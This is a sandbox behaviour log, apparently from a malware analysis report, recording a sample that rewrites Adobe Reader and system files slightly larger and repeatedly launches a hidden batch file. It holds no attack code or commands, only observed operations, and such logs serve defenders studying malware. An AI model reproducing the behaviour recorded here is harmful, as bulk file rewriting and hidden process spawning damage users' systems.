File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sl_get.svg, size = 5782, size_out = 5782	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sl_get.svg, size = 7198	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\scanAppLogo@2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\scanAppLogo@2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\scanAppLogo@2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\scanAppLogo@2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\scanAppLogo@2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hr-hr\ui-strings.js, size = 1446, size_out = 1446	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hr-hr\ui-strings.js, size = 2862	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\root\ui-strings.js, size = 1344, size_out = 1344	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\root\ui-strings.js, size = 2760	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\plugin.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\plugin.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\plugin.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\cloud_secured_lg.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\cloud_secured_lg.png, size = 7344, size_out = 7344	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\cloud_secured_lg.png, size = 8760	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-gb\ui-strings.js, size = 823, size_out = 823	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-gb\ui-strings.js, size = 2239	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\it-it\ui-strings.js, size = 6706, size_out = 6706	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\it-it\ui-strings.js, size = 8122	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sk-sk\ui-strings.js, size = 6896, size_out = 6896	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sk-sk\ui-strings.js, size = 8312	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\selector.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\selector.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\selector.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\empty.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\empty.png, size = 142, size_out = 142	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\empty.png, size = 1558	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\adobe_spinner.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\adobe_spinner.gif, size = 1522, size_out = 1522	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\adobe_spinner.gif, size = 2938	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\desktop-tool-view.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\desktop-tool-view.css, size = 2999, size_out = 2999	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\desktop-tool-view.css, size = 4415	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\nub.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\nub.png, size = 1003, size_out = 1003	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\nub.png, size = 2419	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\nub.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\nub.png, size = 1003, size_out = 1003	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\nub.png, size = 2419	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\de-de\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\de-de\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\de-de\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\hu-hu\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\hu-hu\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\hu-hu\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ru-ru\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ru-ru\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ru-ru\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\tool\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\tool\selector.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\tool\selector.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\tool\selector.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\nl-nl\ui-strings.js, size = 840, size_out = 840	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\nl-nl\ui-strings.js, size = 2256	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\help.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\help.svg, size = 2362, size_out = 2362	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\help.svg, size = 3778	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\fi-fi\ui-strings.js, size = 2638, size_out = 2638	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\fi-fi\ui-strings.js, size = 4054	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\plugin.js, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\plugin.js, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\plugin.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\plugin.js, size = 16384	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf, size = 4096, size_out = 4096	1	Fn
For performance reasons, the remaining 1390 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x118c

98

0

»

Category	Operation	Information	Count	Logfile
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x1194, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x1208, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	4	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x1304, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x13cc, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Mail\wab.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x1088, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Security\vt mapping.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x10cc, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0xeb4, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x1124, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x1204, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa, size = 61440, size_out = 61440	8	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa, size = 8192, size_out = 8192	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa, size = 61440	8	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa, size = 32768	1	Fn Data
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0xe60, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\rempl\does.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0xd64, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Mail\en-US\WinMail.exe.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x138c, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Mail\en-US\msoeres.dll.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0xed0, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Security\BrowserCore\manifest.json, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x13fc, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x13c4, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Mail\wabmig.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x1334, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\UNP\convertible-suicide-construction.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x910, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Mail\WinMail.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0xfac, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
File	Create	filename = C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\c7356Qly.bat, os_pid = 0x1268, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
